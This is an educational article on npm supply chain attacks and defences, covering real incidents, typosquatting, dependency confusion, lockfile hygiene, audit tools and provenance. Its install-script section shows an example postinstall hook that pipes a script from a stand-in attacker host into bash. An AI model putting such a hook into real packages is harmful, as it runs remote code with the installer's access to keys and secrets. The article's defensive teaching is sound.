Supply Chain Attacks and npm Security
Your Code Is Only as Safe as Your Dependencies
You write secure code. You sanitize inputs, escape outputs, follow every best practice. Then you run npm install some-cool-library and silently ship an attacker's code straight into production.
This is a supply chain attack — and it's the fastest-growing threat in frontend development. Instead of attacking your app directly, attackers compromise something your app depends on. A single poisoned package deep in your dependency tree can steal credentials, mine crypto, or exfiltrate data from every user who visits your site.
Here's the uncomfortable truth: the average frontend project has hundreds of transitive dependencies. You chose 20 packages. Those 20 pulled in 400 more. You've never audited most of them. Neither has anyone else.
Think of your dependency tree like a food supply chain. You trust the restaurant (your code). But the restaurant buys ingredients from distributors, who buy from farms, who buy seeds from suppliers. If anyone in that chain poisons the product — even a tiny seed supplier you've never heard of — everyone downstream gets sick. Supply chain security means verifying the entire chain, not just the restaurant.
Real Attacks That Actually Happened
These are not theoretical. These are packages that millions of developers had in their node_modules.
event-stream (2018)
A maintainer of the popular event-stream package (2M+ weekly downloads) burned out and handed ownership to a contributor who asked nicely. The new owner added a dependency called flatmap-stream that contained an encrypted payload targeting the Copay Bitcoin wallet. The malicious code was designed to steal wallet keys only from Copay's build — it silently passed through every other project.
The attack went undetected for two months. It was discovered by accident when someone noticed a deprecation warning from an unrelated dependency change.
What made it work: Social engineering. The attacker spent months making legitimate contributions before requesting ownership. Open source trust is built on reputation — and reputation can be manufactured.
ua-parser-js (2021)
The legitimate maintainer's npm account was compromised. Attackers published versions 0.7.29, 0.8.0, and 1.0.0 that installed a cryptominer and a credential-stealing trojan. This package had 8M+ weekly downloads and was used by Facebook, Amazon, Microsoft, Google, and thousands of other companies.
The hijacked versions were live for about four hours before the maintainer regained control. Four hours was enough — CI/CD pipelines around the world pulled the compromised versions automatically.
What made it work: Account takeover. The maintainer didn't have 2FA enabled. One compromised password gave attackers control over a package embedded in enterprise infrastructure worldwide.
colors.js and faker.js (2022)
The original author of colors and faker — Marak Squires — intentionally sabotaged his own packages. He pushed updates that caused colors to print an infinite loop of gibberish and faker to output a single line of text. Thousands of projects that depended on these packages broke overnight.
This wasn't a hack — it was protestware. The author was frustrated that large corporations used his free work without contributing back. It sparked a debate about open source sustainability, but the damage was real: CI pipelines failed, production deployments broke, and teams scrambled to pin to older versions.
What made it work: The author was the trusted source. No amount of account security prevents the maintainer themselves from going rogue.
Attack Vectors You Need to Know
Typosquatting
Attackers publish packages with names nearly identical to popular ones, betting on typos:
lodash→lodashs,lodash-utils,1odashexpress→exppress,expresssreact→reactt,react-js-library
In 2017, a researcher published typosquatted versions of popular packages that simply phoned home when installed. Within days, the packages were downloaded by thousands of machines, including government and military networks.
npm has gotten better at detecting obvious typosquats, but creative variations still slip through. An attacker only needs one distracted developer running npm install expresss on a bad day.
Dependency Confusion
This attack exploits how package managers resolve names. Many companies have internal packages on private registries (like GitHub Packages or Artifactory). If an attacker publishes a package with the same name on the public npm registry with a higher version number, the package manager may pull the public (malicious) version instead of the private one.
Alex Birsan demonstrated this in 2021, successfully infiltrating Apple, Microsoft, and PayPal by publishing public packages that matched internal package names he found referenced in public JavaScript files and GitHub repos.
Internal registry: @company/auth-utils@1.2.0
Public npm: auth-utils@99.0.0 ← attacker publishes this
# If the project's .npmrc isn't configured correctly,
# npm may resolve to the public version with the higher semver
The fix: scope all internal packages under your org scope (@yourcompany/package-name) and configure your .npmrc to route scoped packages to your private registry.
Install Scripts
npm packages can run arbitrary scripts during installation via preinstall, install, and postinstall hooks in package.json. A malicious package can execute code the moment you run npm install — before you ever import it in your code.
{
"name": "totally-safe-package",
"scripts": {
"postinstall": "curl https://evil.com/steal.sh | bash"
}
}
This runs with your user permissions. On a developer machine, that often means access to SSH keys, cloud credentials, source code, and browser cookies. On a CI server, it means access to deployment keys and secrets.
Your Lockfile Is Your First Line of Defense
The lockfile (package-lock.json, pnpm-lock.yaml, or yarn.lock) pins every dependency to an exact version and records the integrity hash (SHA-512) of each package tarball.
Without a lockfile, running npm install on two different machines — or two different days — can produce completely different node_modules trees. A package author could push a compromised patch release, and your next install pulls it automatically.
Rules for lockfile hygiene:
# ALWAYS commit your lockfile to version control
git add package-lock.json
# In CI/CD, use --frozen-lockfile (or ci) to prevent lockfile updates
npm ci # npm: clean install from lockfile
pnpm install --frozen-lockfile # pnpm equivalent
yarn install --frozen-lockfile # yarn equivalent
npm ci is fundamentally different from npm install. It deletes node_modules entirely, installs exactly what's in the lockfile, and fails if the lockfile is out of sync with package.json. This means your CI builds are reproducible — the same lockfile always produces the same tree.
Lockfile attacks are real. An attacker with write access to your repo (or a compromised PR) can modify the lockfile to point a package at a different registry URL or a different integrity hash. Most code reviewers skip lockfile diffs because they're noisy and hard to read. Always review lockfile changes in PRs, especially any modified resolved URLs or integrity hashes. Tools like lockfile-lint can automate this check.
Auditing and Scanning Tools
npm audit
Built into npm since v6. Checks your dependency tree against the GitHub Advisory Database:
npm audit
npm audit fix # auto-fix by updating to patched versions
npm audit --omit=dev # skip devDependencies (useful for production audits)
Limitations: npm audit has a high noise-to-signal ratio. It reports vulnerabilities in dev dependencies that never ship to production, flags issues in code paths you don't use, and sometimes suggests fixes that introduce breaking changes. Don't blindly run npm audit fix --force — it can major-version-bump packages and break your app.
Socket.dev
Socket takes a different approach. Instead of just checking known CVEs, it analyzes package behavior: Does this package access the network at install time? Does it read environment variables? Does it use eval? Did the maintainer just change? Did the install scripts change between versions?
This catches zero-day attacks that advisory databases haven't catalogued yet. A newly published version that suddenly starts reading process.env is suspicious even if no CVE exists for it.
Snyk
Snyk integrates into your CI pipeline and monitors your dependencies continuously. It provides fix PRs, reachability analysis (does your code actually call the vulnerable function?), and license compliance checking.
The reachability analysis is particularly valuable — it separates "this dependency has a vulnerability" from "your code actually reaches the vulnerable code path," dramatically reducing false positives.
Version Pinning Strategy
Semver ranges in package.json give package authors the ability to push code to your project automatically:
{
"dependencies": {
"lodash": "^4.17.21",
"express": "~4.18.2",
"axios": "1.6.2"
}
}
^4.17.21— allows any4.x.xupdate (major pinned, minor and patch float)~4.18.2— allows any4.18.xupdate (minor pinned, patch floats)1.6.2— exact version, nothing floats
The tradeoff: exact pinning gives you control but means you miss security patches. Floating ranges get you patches automatically but expose you to malicious updates. There's no universally right answer, but here's a pragmatic strategy:
For production dependencies: Use ^ ranges in package.json (the default), but always commit your lockfile. The lockfile pins exact versions while package.json documents your intent. When you explicitly run npm update, review what changed before committing the new lockfile.
For CI/CD: Always use npm ci with the committed lockfile. Never let CI update dependencies on its own.
For critical security-sensitive deps: Consider exact pinning for packages that handle auth, crypto, or data processing, and update them manually with review.
Before You Install: Due Diligence
Every npm install is a trust decision. Before adding a dependency, ask:
1. Do you actually need it?
The is-odd package has millions of downloads. It checks if a number is odd. It's one line of code: return n % 2 === 1. If you can write the functionality in a few lines, you don't need a package for it.
The left-pad incident (2016) broke the entire npm ecosystem because thousands of packages depended on an 11-line function. Fewer dependencies mean a smaller attack surface.
2. Who maintains it?
Check the package's npm page and GitHub repo:
- How many maintainers? (Single-maintainer packages are higher risk for both burnout and account takeover)
- Are maintainers using 2FA?
- Is the org or maintainer verified?
- How active is the repo? When was the last commit?
- Are issues and PRs being addressed?
3. What does the package actually do at install time?
# Check if a package has install scripts BEFORE installing it
npm pack <package-name> --dry-run
# Or view the package.json on npm:
npm view <package-name> scripts
If a utility library has a postinstall script, that's a red flag.
4. How big is the dependency tree?
# See what a package would pull in
npm explain <package-name>
# Or use bundlephobia.com to check size and dependencies
A package that does one thing but pulls in 50 transitive dependencies is a liability.
The --ignore-scripts flag
You can run npm install --ignore-scripts to skip all pre/post install scripts. This blocks the most common attack vector (malicious install scripts), but it may break packages that legitimately need build steps — like esbuild, sharp, or native addons that compile C++ during install. A balanced approach: set ignore-scripts=true in your .npmrc globally, then explicitly allow scripts for packages that need them using a tool like @pnpm/allow-scripts or by running their install scripts manually after review.
npm Provenance and SLSA
npm Provenance
Starting in 2023, npm supports provenance attestations — cryptographic proof that a package was built from a specific commit in a specific repo by a specific CI system. When a package has provenance, you can verify:
- Which source repo the code came from
- Which commit was built
- Which CI/CD system built and published it
- That the package hasn't been tampered with between build and publish
# Check provenance of a package
npm audit signatures
On npmjs.com, packages with provenance show a green checkmark with build details. This doesn't guarantee the source code is safe, but it guarantees the published package matches the source — closing the gap between "code on GitHub" and "tarball on npm."
SLSA Framework
SLSA (Supply-chain Levels for Software Artifacts, pronounced "salsa") is a framework from Google that defines increasing levels of supply chain security:
- Level 0: No guarantees
- Level 1: Build process is documented
- Level 2: Build service is hosted (not on developer machines)
- Level 3: Build platform is hardened and tamper-resistant
npm provenance gets you to roughly SLSA Level 2. The key insight is that SLSA isn't a tool you install — it's a maturity model. Each level closes a specific category of attack. Level 1 prevents "it worked on my machine" deployments. Level 2 prevents compromised developer machines from pushing malicious builds. Level 3 prevents even the build system itself from being compromised.
For most frontend teams, the actionable step is: prefer packages with provenance attestations when choosing between alternatives. If you publish packages, enable provenance in your CI publishing workflow.
The Minimal Dependency Philosophy
The most secure dependency is the one you don't have.
Every package you add is a trust relationship. You're trusting the author, every contributor, every maintainer of every transitive dependency, and the security of every npm account in that chain. That's a lot of trust for a function that left-pads a string.
Practical guidelines:
- Under 20 lines? Write it yourself.
is-number,is-odd,left-pad— these should be utility functions in your codebase, not external dependencies - Standard library does it? Use the standard library.
fetchexists natively now.URLandURLSearchParamsexist.structuredCloneexists.crypto.randomUUID()exists. You probably don't need the package you're reaching for - Multiple packages do the same thing? Choose the one with fewer dependencies, more maintainers, provenance attestations, and active maintenance
- Evaluate the dependency tree, not just the package. A "lightweight" package that pulls in 30 transitive dependencies isn't lightweight at all
# Check how many packages a dependency will add
npm install --dry-run <package-name> 2>&1 | tail -1
This is not about being paranoid or reinventing everything. It's about making deliberate trust decisions instead of casual ones. The packages you do install should be worth the trust you're placing in them.
| What developers do | What they should do |
|---|---|
| Running npm install in CI/CD instead of npm ci npm install can update the lockfile and resolve different versions than what was tested, breaking reproducibility and potentially pulling compromised updates | Always use npm ci (or pnpm install --frozen-lockfile) in CI/CD pipelines |
| Blindly running npm audit fix --force npm audit fix --force can major-bump dependencies, introduce breaking changes, and create more problems than it solves | Review each vulnerability, check if your code reaches the affected path, and test updates manually |
| Not reviewing lockfile changes in pull requests Attackers can modify lockfiles to point packages at malicious registries — most reviewers skip these diffs because they look like noise | Always review modified resolved URLs and integrity hashes in lockfile diffs |
| Adding packages for trivial functionality like checking if a number is even Each dependency expands your attack surface and trust chain. A one-line function doesn't need a package with its own dependency tree | Write simple utility functions inline when the logic is under 20 lines |
| Ignoring postinstall scripts in dependencies Install scripts execute with your user permissions and can run arbitrary code before you ever import the package | Check what scripts a package runs during install with npm view package-name scripts |
- 1Every npm install is a trust decision — evaluate the maintainer, the dependency tree, and the install scripts before adding a package
- 2Always commit your lockfile and use npm ci in CI/CD for reproducible, tamper-resistant builds
- 3Scope internal packages under your org (@company/pkg) and configure .npmrc to prevent dependency confusion
- 4Prefer packages with provenance attestations — they cryptographically link published code to source repos
- 5The most secure dependency is the one you don't have — write trivial utilities yourself instead of installing packages for them